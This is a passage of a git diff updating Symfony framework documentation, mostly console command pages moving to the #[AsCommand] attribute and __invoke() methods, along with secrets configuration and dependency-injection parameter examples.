decryption key does *not* need to remain on the server(s). + This will write all the decrypted secrets into the ``.env.prod.local`` file. + After doing this, the decryption key does *not* need to remain on the server(s). Rotating Secrets ---------------- @@ -293,7 +311,7 @@ The secrets system is enabled by default and some of its behavior can be configu xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/framework https://symfony.com/schema/dic/framework/framework-1.0.xsd" > - <framework:config secret="%env(APP_SECRET)%"> + <framework:config> <framework:secrets vault_directory="%kernel.project_dir%/config/secrets/%kernel.environment%" local_dotenv_file="%kernel.project_dir%/.env.%kernel.environment%.local" @@ -305,14 +323,12 @@ The secrets system is enabled by default and some of its behavior can be configu .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'secrets' => [ - // 'vault_directory' => '%kernel.project_dir%/config/secrets/%kernel.environment%', - // 'local_dotenv_file' => '%kernel.project_dir%/.env.%kernel.environment%.local', - // 'decryption_env_var' => 'base64:default::SYMFONY_DECRYPTION_SECRET', - ], - ]); - - -.. _`libsodium`: https://pecl.php.net/package/libsodium -.. _`paragonie/sodium_compat`: https://github.com/paragonie/sodium_compat + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->secrets() + // ->vaultDirectory('%kernel.project_dir%/config/secrets/%kernel.environment%') + // ->localDotenvFile('%kernel.project_dir%/.env.%kernel.environment%.local') + // ->decryptionEnvVar('base64:default::SYMFONY_DECRYPTION_SECRET') + ; + }; diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst index 730043af714..3cac5d5049c 100644 --- a/configuration/using_parameters_in_dic.rst +++ b/configuration/using_parameters_in_dic.rst @@ -1,6 +1,3 @@ -.. index:: - single: Using Parameters within a Dependency Injection Class - Using Parameters within a Dependency Injection Class ---------------------------------------------------- @@ -77,16 +74,16 @@ Now, examine the results to see this closely: $container->loadFromExtension('my_bundle', [ 'logging' => true, // true, as expected - ) - ]; + ] + ); $container->loadFromExtension('my_bundle', [ 'logging' => "%kernel.debug%", // true/false (depends on 2nd parameter of Kernel), // as expected, because %kernel.debug% inside configuration // gets evaluated before being passed to the extension - ) - ]; + ] + ); $container->loadFromExtension('my_bundle'); // passes the string "%kernel.debug%". @@ -104,14 +101,13 @@ be injected with this parameter via the extension as follows:: class Configuration implements ConfigurationInterface { - private $debug; + private bool $debug; - public function __construct($debug) + public function __construct(private bool $debug) { - $this->debug = (bool) $debug; } - public function getConfigTreeBuilder() + public function getConfigTreeBuilder(): TreeBuilder { $treeBuilder = new TreeBuilder('my_bundle'); @@ -138,7 +134,7 @@ And set it in the constructor of ``Configuration`` via the ``Extension`` class:: { // ... - public function getConfiguration(array $config, ContainerBuilder $container) + public function getConfiguration(array $config, ContainerBuilder $container): Configuration { return new Configuration($container->getParameter('kernel.debug')); } diff --git a/console.rst b/console.rst index ec49f7bd2d2..be9292f92a5 100644 --- a/console.rst +++ b/console.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console; Create commands - Console Commands ================ @@ -9,43 +6,124 @@ The Symfony framework provides lots of commands through the ``bin/console`` scri created with the :doc:`Console component </components/console>`. You can also use it to create your own commands. -The Console: APP_ENV & APP_DEBUG ---------------------------------- +Running Commands +---------------- + +Each Symfony application comes with a large set of commands. You can use +the ``list`` command to view all available commands in the application: + +.. code-block:: terminal + + $ php bin/console list + ... + + Available commands: + about Display information about the current project + completion Dump the shell completion script + help Display help for a command + list List commands + assets + assets:install Install bundle's web assets under a public directory + cache + cache:clear Clear the cache + ... + +.. note:: + + ``list`` is the default command, so running ``php bin/console`` is the same. + +If you find the command you need, you can run it with the ``--help`` option +to view the command's documentation: + +.. code-block:: terminal + + $ php bin/console assets:install --help + +.. note:: + + ``--help`` is one of the built-in global options from the Console component, + which are available for all commands, including those you can create. + To learn more about them, you can read + :ref:`this section <console-global-options>`. + +APP_ENV & APP_DEBUG +~~~~~~~~~~~~~~~~~~~ Console commands run in the :ref:`environment <config-dot-env>` defined in the ``APP_ENV`` variable of the ``.env`` file, which is ``dev`` by default. It also reads the ``APP_DEBUG`` value to turn "debug" mode on or off (it defaults to ``1``, which is on). To run the command in another environment or debug mode, edit the value of ``APP_ENV`` -and ``APP_DEBUG``. +and ``APP_DEBUG``. You can also define this env vars when running the +command, for instance: + +.. code-block:: terminal + + # clears the cache for the prod environment + $ APP_ENV=prod php bin/console cache:clear + +.. _console-completion-setup: + +Console Completion +~~~~~~~~~~~~~~~~~~ + +If you are using the Bash, Zsh or Fish shell, you can install Symfony's +completion script to get auto completion when typing commands in the +terminal. All commands support name and option completion, and some can +even complete values. + +.. image:: /_images/components/console/completion.gif + :alt: The terminal completes the command name "secrets:remove" and the argument "SOME_OTHER_SECRET". + +First, you have to install the completion script *once*. Run +``bin/console completion --help`` for the installation instructions for +your shell. + +.. note:: + + When using Bash, make sure you installed and setup the "bash completion" + package for your OS (typically named ``bash-completion``). + +After installing and restarting your terminal, you're all set to use +completion (by default, by pressing the Tab key). + +.. tip:: + + Many PHP tools are built using the Symfony Console component (e.g. + Composer, PHPstan and Behat). If they are using version 5.4 or higher, + you can also install their completion script to enable console completion: + + .. code-block:: terminal + + $ php vendor/bin/phpstan completion --help + $ composer completion --help + +.. tip:: + + If you are using the :doc:`Symfony CLI </setup/symfony_cli>` tool, follow + :ref:`these instructions <symfony-cli-autocompletion>` to enable autocompletion. + +.. _console_creating-command: Creating a Command ------------------ -Commands are defined in classes extending -:class:`Symfony\\Component\\Console\\Command\\Command`. For example, you may -want a command to create a user:: +Commands are defined in classes and auto-registered using the ``#[AsCommand]`` +attribute. For example, you may want a command to create a user:: // src/Command/CreateUserCommand.php namespace App\Command; + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; - use Symfony\Component\Console\Input\InputInterface; - use Symfony\Component\Console\Output\OutputInterface; - class CreateUserCommand extends Command + // the name of the command is what users type after "php bin/console" + #[AsCommand(name: 'app:create-user')] + class CreateUserCommand { - // the name of the command (the part after "bin/console") - protected static $defaultName = 'app:create-user'; - - protected function configure() - { - // ... - } - - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(): int { - // ... put here the code to run in your command + // ... put here the code to create the user // this method must return an integer number with the "exit status code" // of the command. You can also use these constants to make code more readable @@ -57,75 +135,63 @@ want a command to create a user:: // or return this if some error happened during the execution // (it's equivalent to returning int(1)) // return Command::FAILURE; + + // or return this to indicate incorrect command usage; e.g. invalid options + // or missing arguments (it's equivalent to returning int(2)) + // return Command::INVALID } } -.. versionadded:: 5.1 - - The ``Command::SUCCESS`` and ``Command::FAILURE`` constants were introduced - in Symfony 5.1. - -Configuring the Command ------------------------ +If you can't use PHP attributes, register the command as a service and +:doc:`tag it </service_container/tags>` with the ``console.command`` tag. If you're using the +:ref:`default services.yaml configuration <service-container-services-load-example>`, +this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`. -You can optionally define a description, help message and the -:doc:`input options and arguments </console/input>`:: +You can also use ``#[AsCommand]`` to add a description and longer help text for the command:: - // ... - protected function configure() + #[AsCommand( + name: 'app:create-user', + description: 'Creates a new user.', // the command description shown when running "php bin/console list" + help: 'This command allows you to create a user...', // the command help shown when running the command with the "--help" option + )] + class CreateUserCommand { - $this - // the short description shown while running "php bin/console list" - ->setDescription('Creates a new user.') - - // the full command description shown when running the command with - // the "--help" option - ->setHelp('This command allows you to create a user...') - ; + public function __invoke(): int + { + // ... + } } -The ``configure()`` method is called automatically at the end of the command -constructor. If your command defines its own constructor, set the properties -first and then call to the parent constructor, to make those properties -available in the ``configure()`` method:: +Additionally, you can extend the :class:`Symfony\\Component\\Console\\Command\\Command` class to +leverage advanced features like lifecycle hooks (e.g. :method:`Symfony\\Component\\Console\\Command\\Command::initialize` and +and :method:`Symfony\\Component\\Console\\Command\\Command::interact`):: - // ... + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; - use Symfony\Component\Console\Input\InputArgument; + use Symfony\Component\Console\Input\InputInterface; + use Symfony\Component\Console\Output\OutputInterface; + #[AsCommand(name: 'app:create-user')] class CreateUserCommand extends Command { - // ... - - public function __construct(bool $requirePassword = false) + public function initialize(InputInterface $input, OutputInterface $output): void { - // best practices recommend to call the parent constructor first and - // then set your own properties. That wouldn't work in this case - // because configure() needs the properties set in this constructor - $this->requirePassword = $requirePassword; + // ... + } - parent::__construct(); + public function interact(InputInterface $input, OutputInterface $output): void + { + // ... } - protected function configure() + public function __invoke(): int { - $this - // ... - ->addArgument('password', $this->requirePassword ? InputArgument::REQUIRED : InputArgument::OPTIONAL, 'User password') - ; + // ... } } -Registering the Command ------------------------ - -Symfony commands must be registered as services and :doc:`tagged </service_container/tags>` -with the ``console.command`` tag. If you're using the -:ref:`default services.yaml configuration <service-container-services-load-example>`, -this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`. - -Executing the Command ---------------------- +Running the Command +~~~~~~~~~~~~~~~~~~~ After configuring and registering the command, you can run it in the terminal: @@ -134,16 +200,16 @@ After configuring and registering the command, you can run it in the terminal: $ php bin/console app:create-user As you might expect, this command will do nothing as you didn't write any logic -yet. Add your own logic inside the ``execute()`` method. +yet. Add your own logic inside the ``__invoke()`` method. Console Output -------------- -The ``execute()`` method has access to the output stream to write messages to +The ``__invoke()`` method has access to the output stream to write messages to the console:: // ... - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(OutputInterface $output): int { // outputs multiple lines to the console (adding "\n" at the end of each line) $output->writeln([ @@ -152,7 +218,7 @@ the console:: '', ]); - // the value returned by someMethod() can be an iterator (https://secure.php.net/iterator) + // the value returned by someMethod() can be an iterator (https://php.net/iterator) // that generates and returns the messages with the 'yield' PHP keyword $output->writeln($this->someMethod()); @@ -187,33 +253,52 @@ called "output sections". Create one or more of these sections when you need to clear and overwrite the output information. Sections are created with the -:method:`Symfony\\Component\\Console\\Output\\ConsoleOutput::section` method, -which returns an instance of +:method:`ConsoleOutput::section() <Symfony\\Component\\Console\\Output\\ConsoleOutput::section>` +method, which returns an instance of :class:`Symfony\\Component\\Console\\Output\\ConsoleSectionOutput`:: - class MyCommand extends Command + // ... + use Symfony\Component\Console\Output\ConsoleOutputInterface; + + #[AsCommand(name: 'app:my-command')] + class MyCommand { - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(OutputInterface $output): int { + if (!$output instanceof ConsoleOutputInterface) { + throw new \LogicException('This command accepts only an instance of "ConsoleOutputInterface".'); + } + $section1 = $output->section(); $section2 = $output->section(); + $section1->writeln('Hello'); $section2->writeln('World!'); + sleep(1); // Output displays "Hello\nWorld!\n" // overwrite() replaces all the existing section contents with the given content $section1->overwrite('Goodbye'); + sleep(1); // Output now displays "Goodbye\nWorld!\n" // clear() deletes all the section contents... $section2->clear(); + sleep(1); // Output now displays "Goodbye\n" // ...but you can also delete a given number of lines // (this example deletes the last two lines of the section) $section1->clear(2); + sleep(1); // Output is now completely empty! + // setting the max height of a section will make new lines replace the old ones + $section1->setMaxHeight(2); + $section1->writeln('Line1'); + $section1->writeln('Line2'); + $section1->writeln('Line3'); + return Command::SUCCESS; } } @@ -227,25 +312,22 @@ Output sections let you manipulate the Console output in advanced ways, such as are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>` that have already been rendered. +.. warning:: + + Terminals only allow overwriting the visible content, so you must take into + account the console height when trying to write/overwrite section contents. + Console Input ------------- Use input options or arguments to pass information to the command:: - use Symfony\Component\Console\Input\InputArgument; - - // ... - protected function configure() - { - $this - // configure an argument - ->addArgument('username', InputArgument::REQUIRED, 'The username of the user.') - // ... - ; - } + use Symfony\Component\Console\Attribute\Argument; - // ... - public function execute(InputInterface $input, OutputInterface $output) + // The #[Argument] attribute configures $username as a + // required input argument and its value is automatically + // passed to this parameter + public function __invoke(#[Argument('The username of the user.')] string $username, OutputInterface $output): int { $output->writeln([ 'User Creator', @@ -253,8 +335,7 @@ Use input options or arguments to pass information to the command:: '', ]); - // retrieve the argument value using getArgument() - $output->writeln('Username: '.$input->getArgument('username')); + $output->writeln('Username: '.$username); return Command::SUCCESS; } @@ -284,26 +365,22 @@ as a service, you can use normal dependency injection. Imagine you have a // ... use App\Service\UserManager; - use Symfony\Component\Console\Command\Command; + use Symfony\Component\Console\Attribute\Argument; + use Symfony\Component\Console\Attribute\AsCommand; - class CreateUserCommand extends Command + #[AsCommand(name: 'app:create-user')] + class CreateUserCommand { - private $userManager; - - public function __construct(UserManager $userManager) - { - $this->userManager = $userManager; - - parent::__construct(); + public function __construct( + private UserManager $userManager + ) { } - // ... - - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(#[Argument] string $username, OutputInterface $output): int { // ... - $this->userManager->create($input->getArgument('username')); + $this->userManager->create($username); $output->writeln('User successfully generated!'); @@ -326,10 +403,12 @@ command: This method is executed after ``initialize()`` and before ``execute()``. Its purpose is to check if some of the options/arguments are missing and interactively ask the user for those values. This is the last place - where you can ask for missing options/arguments. After this command, - missing options/arguments will result in an error. + where you can ask for missing required options/arguments. This method is + called before validating the input. + Note that it will not be called when the command is run without interaction + (e.g. when passing the ``--no-interaction`` global option flag). -:method:`Symfony\\Component\\Console\\Command\\Command::execute` *(required)* +``__invoke()`` (or :method:`Symfony\\Component\\Console\\Command\\Command::execute`) *(required)* This method is executed after ``interact()`` and ``initialize()``. It contains the logic you want the command to execute and it must return an integer which will be used as the command `exit status`_. @@ -353,10 +432,10 @@ console:: class CreateUserCommandTest extends KernelTestCase { - public function testExecute() + public function testExecute(): void { - $kernel = static::createKernel(); - $application = new Application($kernel); + self::bootKernel(); + $application = new Application(self::$kernel); $command = $application->find('app:create-user'); $commandTester = new CommandTester($command); @@ -366,8 +445,12 @@ console:: // prefix the key with two dashes when passing options, // e.g: '--some-option' => 'option_value', + // use brackets for testing array value, + // e.g: '--some-option' => ['option_value'], ]); + $commandTester->assertCommandIsSuccessful(); + // the output of the command in the console $output = $commandTester->getDisplay(); $this->assertStringContainsString('Username: Wouter', $output); @@ -379,28 +462,62 @@ console:: If you are using a :doc:`single-command application </components/console/single_command_tool>`, call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``. -.. versionadded:: 5.2 - - The ``setAutoExit()`` method for single-command applications was introduced - in Symfony 5.2. - .. tip:: You can also test a whole console application by using :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`. -.. caution:: +.. warning:: When testing commands using the ``CommandTester`` class, console events are not dispatched. If you need to test those events, use the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead. +.. warning:: + + When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` + class, don't forget to disable the auto exit flag:: + + $application = new Application(); + $application->setAutoExit(false); + + $tester = new ApplicationTester($application); + +.. warning:: + + When testing ``InputOption::VALUE_NONE`` command options, you must pass ``true`` + to them:: + + $commandTester = new CommandTester($command); + $commandTester->execute(['--some-option' => true]); + .. note:: When using the Console component in a standalone project, use - :class:`Symfony\\Component\\Console\\Application <Symfony\\Component\\Console\\Application>` + :class:`Symfony\\Component\\Console\\Application` and extend the normal ``\PHPUnit\Framework\TestCase``. +When testing your commands, it could be useful to understand how your command +reacts on different settings like the width and the height of the terminal, or +even the color mode being used. You have access to such information thanks to the +:class:`Symfony\\Component\\Console\\Terminal` class:: + + use Symfony\Component\Console\Terminal; + + $terminal = new Terminal(); + + // gets the number of lines available + $height = $terminal->getHeight(); + + // gets the number of columns available + $width = $terminal->getWidth(); + + // gets the color mode + $colorMode = $terminal->getColorMode(); + + // changes the color mode + $colorMode = $terminal->setColorMode(AnsiColorMode::Ansi24); + Logging Command Errors ---------------------- @@ -410,6 +527,41 @@ registers an :doc:`event subscriber </event_dispatcher>` to listen to the :ref:`ConsoleEvents::TERMINATE event <console-events-terminate>` and adds a log message whenever a command doesn't finish with the ``0`` `exit status`_. +Using Events And Handling Signals +--------------------------------- + +When a command is running, many events are dispatched, one of them allows to +react to signals, read more in :doc:`this section </components/console/events>`. + +Profiling Commands +------------------ + +Symfony allows to profile the execution of any command, including yours. First, +make sure that the :ref:`debug mode <debug-mode>` and the :doc:`profiler </profiler>` +are enabled. Then, add the ``--profile`` option when running the command: + +.. code-block:: terminal + + $ php bin/console --profile app:my-command + +Symfony will now collect data about the command execution, which is helpful to +debug errors or check other issues. When the command execution is over, the +profile is accessible through the web page of the profiler. + +.. tip:: + + If you run the command in verbose mode (adding the ``-v`` option), Symfony + will display in the output a clickable link to the command profile (if your + terminal supports links). If you run it in debug verbosity (``-vvv``) you'll + also see the time and memory consumed by the command. + +.. warning:: + + When profiling the ``messenger:consume`` command from the :doc:`Messenger </messenger>` + component, add the ``--no-reset`` option to the command or you won't get any + profile. Moreover, consider using the ``--limit`` option to only process a few + messages to make the profile more readable in the profiler. + Learn More ---------- @@ -425,8 +577,11 @@ tools capable of helping you with different tasks: * :doc:`/components/console/helpers/questionhelper`: interactively ask the user for information * :doc:`/components/console/helpers/formatterhelper`: customize the output colorization * :doc:`/components/console/helpers/progressbar`: shows a progress bar +* :doc:`/components/console/helpers/progressindicator`: shows a progress indicator * :doc:`/components/console/helpers/table`: displays tabular data as a table * :doc:`/components/console/helpers/debug_formatter`: provides functions to output debug information when running an external program +* :doc:`/components/console/helpers/processhelper`: allows to run processes using ``DebugFormatterHelper`` +* :doc:`/components/console/helpers/cursor`: allows to manipulate the cursor in the terminal .. _`exit status`: https://en.wikipedia.org/wiki/Exit_status diff --git a/console/calling_commands.rst b/console/calling_commands.rst index 0b3919973e5..875ead15d2d 100644 --- a/console/calling_commands.rst +++ b/console/calling_commands.rst @@ -1,51 +1,64 @@ How to Call Other Commands ========================== -If a command depends on another one being run before it you can call in the -console command itself. This is useful if a command depends on another command -or if you want to create a "meta" command that runs a bunch of other commands +If a command depends on another one being run before it you can call that in the +console command itself. This can be useful +if you want to create a "meta" command that runs a bunch of other commands (for instance, all commands that need to be run when the project's code has changed on the production servers: clearing the cache, generating Doctrine proxies, dumping web assets, ...). -Calling a command from another one is straightforward:: +Use the :method:`Symfony\\Component\\Console\\Application::doRun`. Then, create +a new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the +arguments and options you want to pass to the command. The command name must be +the first argument. +Eventually, calling the ``doRun()`` method actually runs the command and returns +the returned code from the command (return value from command ``__invoke()`` +method):: + + // ... + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Input\ArrayInput; - use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; - // ... - protected function execute(InputInterface $input, OutputInterface $output) + #[AsCommand(name: 'app:create-user')] + class CreateUserCommand { - $command = $this->getApplication()->find('demo:greet'); + public function __invoke(OutputInterface $output): int + { + $greetInput = new ArrayInput([ + // the command name is passed as first argument + 'command' => 'demo:greet', + 'name' => 'Fabien', + '--yell' => true, + ]); - $arguments = [ - 'name' => 'Fabien', - '--yell' => true, - ]; + // disable interactive behavior for the greet command + $greetInput->setInteractive(false); - $greetInput = new ArrayInput($arguments); - $returnCode = $command->run($greetInput, $output); + $returnCode = $this->getApplication()->doRun($greetInput, $output); - // ... + // ... + } } -First, you :method:`Symfony\\Component\\Console\\Application::find` the -command you want to run by passing the command name. Then, you need to create -a new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the arguments -and options you want to pass to the command. - -Eventually, calling the ``run()`` method actually runs the command and returns -the returned code from the command (return value from command's ``execute()`` -method). - .. tip:: If you want to suppress the output of the executed command, pass a :class:`Symfony\\Component\\Console\\Output\\NullOutput` as the second - argument to ``$command->run()``. + argument to ``$application->doRun()``. + +.. note:: + + Using ``doRun()`` instead of ``run()`` prevents autoexiting and allows to + return the exit code instead. + + Also, using ``$this->getApplication()->doRun()`` instead of + ``$this->getApplication()->find('demo:greet')->run()`` will allow proper + events to be dispatched for that inner command as well. -.. caution:: +.. warning:: Note that all the commands will run in the same process and some of Symfony's built-in commands may not work well this way. For instance, the ``cache:clear`` @@ -54,6 +67,6 @@ method). .. note:: - Most of the times, calling a command from code that is not executed on the + Most of the time, calling a command from code that is not executed on the command line is not a good idea. The main reason is that the command's output is optimized for the console and not to be passed to other commands. diff --git a/console/coloring.rst b/console/coloring.rst index 3684d71709d..8b6655d6b71 100644 --- a/console/coloring.rst +++ b/console/coloring.rst @@ -1,8 +1,10 @@ How to Color and Style the Console Output ========================================= -By using colors in the command output, you can distinguish different types of -output (e.g. important messages, titles, comments, etc.). +Symfony provides an optional :doc:`console style </console/style>` to render the +input and output of commands in a consistent way. If you prefer to apply your +own style, use the utilities explained in this article to show colors in the command +output (e.g. to differentiate between important messages, titles, comments, etc.). .. note:: @@ -40,13 +42,21 @@ It is possible to define your own styles using the use Symfony\Component\Console\Formatter\OutputFormatterStyle; // ... - $outputStyle = new OutputFormatterStyle('red', 'yellow', ['bold', 'blink']); + $outputStyle = new OutputFormatterStyle('red', '#ff0', ['bold', 'blink']); $output->getFormatter()->setStyle('fire', $outputStyle); $output->writeln('<fire>foo</>'); -Available foreground and background colors are: ``black``, ``red``, ``green``, -``yellow``, ``blue``, ``magenta``, ``cyan`` and ``white``. +Any hex color is supported for foreground and background colors. Besides that, these named colors are supported: +``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan``, ``white``, +``gray``, ``bright-red``, ``bright-green``, ``bright-yellow``, ``bright-blue``, +``bright-magenta``, ``bright-cyan`` and ``bright-white``. + +.. note:: + + If the terminal doesn't support true colors, the given color is replaced by + the nearest color depending on the terminal capabilities. E.g. ``#c0392b`` is + degraded to ``#d75f5f`` in 256-color terminals and to ``red`` in 8-color terminals. And available options are: ``bold``, ``underscore``, ``blink``, ``reverse`` (enables the "reverse video" mode where the background and foreground colors @@ -56,9 +66,12 @@ commonly used when asking the user to type sensitive information). You can also set these colors and options directly inside the tag name:: - // green text + // using named colors $output->writeln('<fg=green>foo</>'); + // using hexadecimal colors + $output->writeln('<fg=#c0392b>foo</>'); + // black text on a cyan background $output->writeln('<fg=black;bg=cyan>foo</>'); @@ -87,7 +100,7 @@ you can click on the *"Symfony Homepage"* text to open its URL in your default browser. Otherwise, you'll see *"Symfony Homepage"* as regular text and the URL will be lost. -.. _Cmder: https://cmder.net/ +.. _Cmder: https://github.com/cmderdev/cmder .. _ConEmu: https://conemu.github.io/ .. _ANSICON: https://github.com/adoxa/ansicon/releases .. _Mintty: https://mintty.github.io/ diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst index 190584bfbda..74af9e17c15 100644 --- a/console/command_in_controller.rst +++ b/console/command_in_controller.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console; How to Call a Command from a controller - How to Call a Command from a Controller ======================================= @@ -14,17 +11,15 @@ service that can be reused in the controller. However, when the command is part of a third-party library, you don't want to modify or duplicate their code. Instead, you can run the command directly from the controller. -.. caution:: +.. warning:: In comparison with a direct call from the console, calling a command from a controller has a slight performance impact because of the request stack overhead. -Imagine you want to send spooled Swift Mailer messages by -:doc:`using the swiftmailer:spool:send command </email>`. -Run this command from inside your controller via:: +Imagine you want to run the ``debug:twig`` from inside your controller:: - // src/Controller/SpoolController.php + // src/Controller/DebugTwigController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Console\Application; @@ -34,19 +29,21 @@ Run this command from inside your controller via:: use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\KernelInterface; - class SpoolController extends AbstractController + class DebugTwigController extends AbstractController { - public function sendSpool($messages = 10, KernelInterface $kernel) + public function debugTwig(KernelInterface $kernel): Response { $application = new Application($kernel); $application->setAutoExit(false); $input = new ArrayInput([ - 'command' => 'swiftmailer:spool:send', + 'command' => 'debug:twig', // (optional) define the value of command arguments 'fooArgument' => 'barValue', // (optional) pass options to the command - '--message-limit' => $messages, + '--bar' => 'fooValue', + // (optional) pass options without value + '--baz' => true, ]); // You can use NullOutput() if you don't need the output @@ -64,9 +61,10 @@ Run this command from inside your controller via:: Showing Colorized Command Output -------------------------------- -By telling the ``BufferedOutput`` it is decorated via the second parameter, -it will return the Ansi color-coded content. The `SensioLabs AnsiToHtml converter`_ -can be used to convert this to colorful HTML. +By telling the :class:`Symfony\\Component\\Console\\Output\\BufferedOutput` +it is decorated via the second parameter, it will return the Ansi color-coded +content. The `SensioLabs AnsiToHtml converter`_ can be used to convert this to +colorful HTML. First, require the package: @@ -76,7 +74,7 @@ First, require the package: Now, use it in your controller:: - // src/Controller/SpoolController.php + // src/Controller/DebugTwigController.php namespace App\Controller; use SensioLabs\AnsiConverter\AnsiToHtmlConverter; @@ -85,9 +83,9 @@ Now, use it in your controller:: use Symfony\Component\HttpFoundation\Response; // ... - class SpoolController extends AbstractController + class DebugTwigController extends AbstractController { - public function sendSpool($messages = 10) + public function sendSpool(int $messages = 10): Response { // ... $output = new BufferedOutput( diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst index af4f275e221..ed5b99f9cb4 100644 --- a/console/commands_as_services.rst +++ b/console/commands_as_services.rst @@ -1,6 +1,3 @@ -.. index:: - single: Console; Commands as Services - How to Define Commands as Services ================================== @@ -18,30 +15,17 @@ For example, suppose you want to log something from within your command:: namespace App\Command; use Psr\Log\LoggerInterface; - use Symfony\Component\Console\Command\Command; - use Symfony\Component\Console\Input\InputInterface; - use Symfony\Component\Console\Output\OutputInterface; + use Symfony\Component\Console\Attribute\AsCommand; - class SunshineCommand extends Command + #[AsCommand(name: 'app:sunshine', description: 'Good morning!')] + class SunshineCommand { - protected static $defaultName = 'app:sunshine'; - private $logger; - - public function __construct(LoggerInterface $logger) - { - $this->logger = $logger; - - // you *must* call the parent constructor - parent::__construct(); + public function __construct( + private LoggerInterface $logger, + ) { } - protected function configure() - { - $this - ->setDescription('Good morning!'); - } - - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(): int { $this->logger->info('Waking up the sun'); // ... @@ -56,7 +40,7 @@ argument (thanks to autowiring). In other words, you only need to create this class and everything works automatically! You can call the ``app:sunshine`` command and start logging. -.. caution:: +.. warning:: You *do* have access to services in ``configure()``. However, if your command is not :ref:`lazy <console-command-service-lazy-loading>`, try to avoid doing any @@ -68,12 +52,15 @@ command and start logging. Lazy Loading ------------ -To make your command lazily loaded, either define its ``$defaultName`` static property:: +To make your command lazily loaded, either define its name using the PHP +``AsCommand`` attribute:: - class SunshineCommand extends Command - { - protected static $defaultName = 'app:sunshine'; + use Symfony\Component\Console\Attribute\AsCommand; + // ... + #[AsCommand(name: 'app:sunshine')] + class SunshineCommand + { // ... } @@ -132,6 +119,8 @@ only when the ``app:sunshine`` command is actually called. You don't need to call ``setName()`` for configuring the command when it is lazy. -.. caution:: +.. warning:: Calling the ``list`` command will instantiate all commands, including lazy commands. + However, if the command is a ``Symfony\Component\Console\Command\LazyCommand``, then + the underlying command factory will not be executed. diff --git a/console/hide_commands.rst b/console/hide_commands.rst index db39ca824f8..4ab9d3a6dad 100644 --- a/console/hide_commands.rst +++ b/console/hide_commands.rst @@ -8,25 +8,18 @@ However, sometimes commands are not intended to be run by end-users; for example, commands for the legacy parts of the application, commands exclusively run through scheduled tasks, etc. -In those cases, you can define the command as **hidden** by setting the -``setHidden()`` method to ``true`` in the command configuration:: +In those cases, you can define the command as **hidden** by setting to ``true`` +the ``hidden`` property of the ``AsCommand`` attribute:: // src/Command/LegacyCommand.php namespace App\Command; - use Symfony\Component\Console\Command\Command; + use Symfony\Component\Console\Attribute\AsCommand; - class LegacyCommand extends Command + #[AsCommand(name: 'app:legacy', hidden: true)] + class LegacyCommand { - protected static $defaultName = 'app:legacy'; - - protected function configure() - { - $this - ->setHidden(true) - // ... - ; - } + // ... } Hidden commands behave the same as normal commands but they are no longer displayed diff --git a/console/input.rst b/console/input.rst index 182a7c579e2..d5b6e4881bb 100644 --- a/console/input.rst +++ b/console/input.rst @@ -21,7 +21,7 @@ and make the ``name`` argument required:: { // ... - protected function configure() + protected function configure(): void { $this // ... @@ -42,7 +42,7 @@ You now have access to a ``last_name`` argument in your command:: { // ... - protected function execute(InputInterface $input, OutputInterface $output) + protected function execute(InputInterface $input, OutputInterface $output): int { $text = 'Hi '.$input->getArgument('name'); @@ -134,10 +134,17 @@ how many times in a row the message should be printed:: $this // ... ->addOption( + // this is the name that users must type to pass this option (e.g. --iterations=5) 'iterations', + // this is the optional shortcut of the option name, which usually is just a letter + // (e.g. `i`, so users pass it as `-i`); use it for commonly used options + // or options with long names null, + // this is the type of option (e.g. requires a value, can be passed more than once, etc.) InputOption::VALUE_REQUIRED, + // the option description displayed when showing the command help 'How many times should the message be printed?', + // the default value of the option (for those which allow to pass values) 1 ) ; @@ -190,7 +197,7 @@ values after a whitespace or an ``=`` sign (e.g. ``--iterations 5`` or ``--iterations=5``), but short options can only use whitespaces or no separation at all (e.g. ``-i 5`` or ``-i5``). -.. caution:: +.. warning:: While it is possible to separate an option from its value with a whitespace, using this form leads to an ambiguity should the option appear before the @@ -199,14 +206,15 @@ separation at all (e.g. ``-i 5`` or ``-i5``). this situation, always place options after the command name, or avoid using a space to separate the option name from its value. -There are four option variants you can use: +There are five option variants you can use: ``InputOption::VALUE_IS_ARRAY`` This option accepts multiple values (e.g. ``--dir=/foo --dir=/bar``); ``InputOption::VALUE_NONE`` - Do not accept input for this option (e.g. ``--yell``). This is the default - behavior of options; + Do not accept input for this option (e.g. ``--yell``). The value returned + from is a boolean (``false`` if the option is not provided). + This is the default behavior of options; ``InputOption::VALUE_REQUIRED`` This value is required (e.g. ``--iterations=5`` or ``-i5``), the option @@ -216,7 +224,11 @@ There are four option variants you can use: This option may or may not have a value (e.g. ``--yell`` or ``--yell=loud``). -You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or +``InputOption::VALUE_NEGATABLE`` + Accept either the flag (e.g. ``--yell``) or its negation (e.g. + 